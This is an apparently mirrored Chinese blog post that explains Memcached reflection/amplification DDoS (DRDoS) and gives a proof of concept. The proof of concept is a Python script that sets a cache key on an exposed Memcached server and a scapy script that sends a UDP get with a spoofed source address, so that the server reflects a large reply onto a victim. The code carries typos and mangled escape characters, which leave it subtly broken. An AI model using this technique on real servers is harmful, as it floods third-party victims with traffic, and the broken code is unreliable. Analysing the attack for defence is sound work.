zoukankan      html  css  js  c++  java
  • 关于Memcached反射型DRDoS攻击分析

    一、Memcached反射攻击原理

    1、反射DRDoS攻击:

    DRDoS攻击时DoS攻击的一种,DoS是指通过发送或引发大量的资源消耗导致服务不可用的一种攻击方式,中文称之为拒绝服务攻击。DRDoS是反射性拒绝服务攻击,其原理是通过利用你的程序漏洞,发送畸形报文诱发你回复大数据量的报文,从而达到消耗资源,拒绝服务的目的。

    2、为什么Memcached可以诱发DRDoS:

    因为Memcached是一个缓存服务器,很多web站点用来存储缓存数据,以防止WEB服务器承担更多性能损耗。但是这样情况下,如果发送一个请求,回复大数据量的响应报文,则可以被诱发DRDoS,攻击手段就是重复变换源的发送请求报文即可。

    3、以上还有两个前提:

    (1)Memcached支持TCP和UDP,且其中UDP是不需要状态连接,和握手的。

    (2)Memcached存在未授权访问的情况。

    二、Memcached DRDoS的poc

    1、攻击手法,

    (1)访问可以控制的未授权的memcached,set设置键值

    1 set abc 0 0 10
    2 abc ->键名
    3 0 -> flag
    4 0 -> exptime 过期时间,0便是永不过期
    5 10 -> 返回10Byte的数据,当然可以返回更多

    python代码如下

     1 # -*- coding:utf-8 -*-
     2 
     3 import socket
     4 
     5 target_host = "192.168.1.1"
     6 target_port = 11211
     7 client = sokcet.socket(socket.AF_INET,socket.STREAM)
     8 client.settimeout(10)
     9 client.connect((target_host,target_port))
    10 
    11 client.send("set abcd 0 0 10
    abcd
    
    
    
    
    ")
    12 data = client.recv(1024)
    13 print data

    (2)然后get这个abc即可

    1 # -*- coding:utf-8 -*-
    2 
    3 from scapy.all import *
    4 
    5 data = "x00x00x00x00x00x01x00x00get abcd
    "
    6 pkt = scapy.all.IP(dst="192.168.1.1",src="192.168.1.2") / scapy.all.UDP(sport=80,dport=11211) / data
    7 send(pkt ,inter=1,count=1)
  • 相关阅读:
    记录一次win10最大的bug
    Spring事务处理知识点
    ubuntu系统上安装docker
    Java抽象方法、接口、访问修饰符、访问权限笔记
    java牛客刷题2020年10月2日
    牛客错题2020年9月30日
    牛客错题2020年9月29日
    牛客刷题2020年9月27日
    java牛客刷题2020年9月21日
    java牛客刷题2020年9月20日
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8506845.html
Copyright © 2011-2022 走看看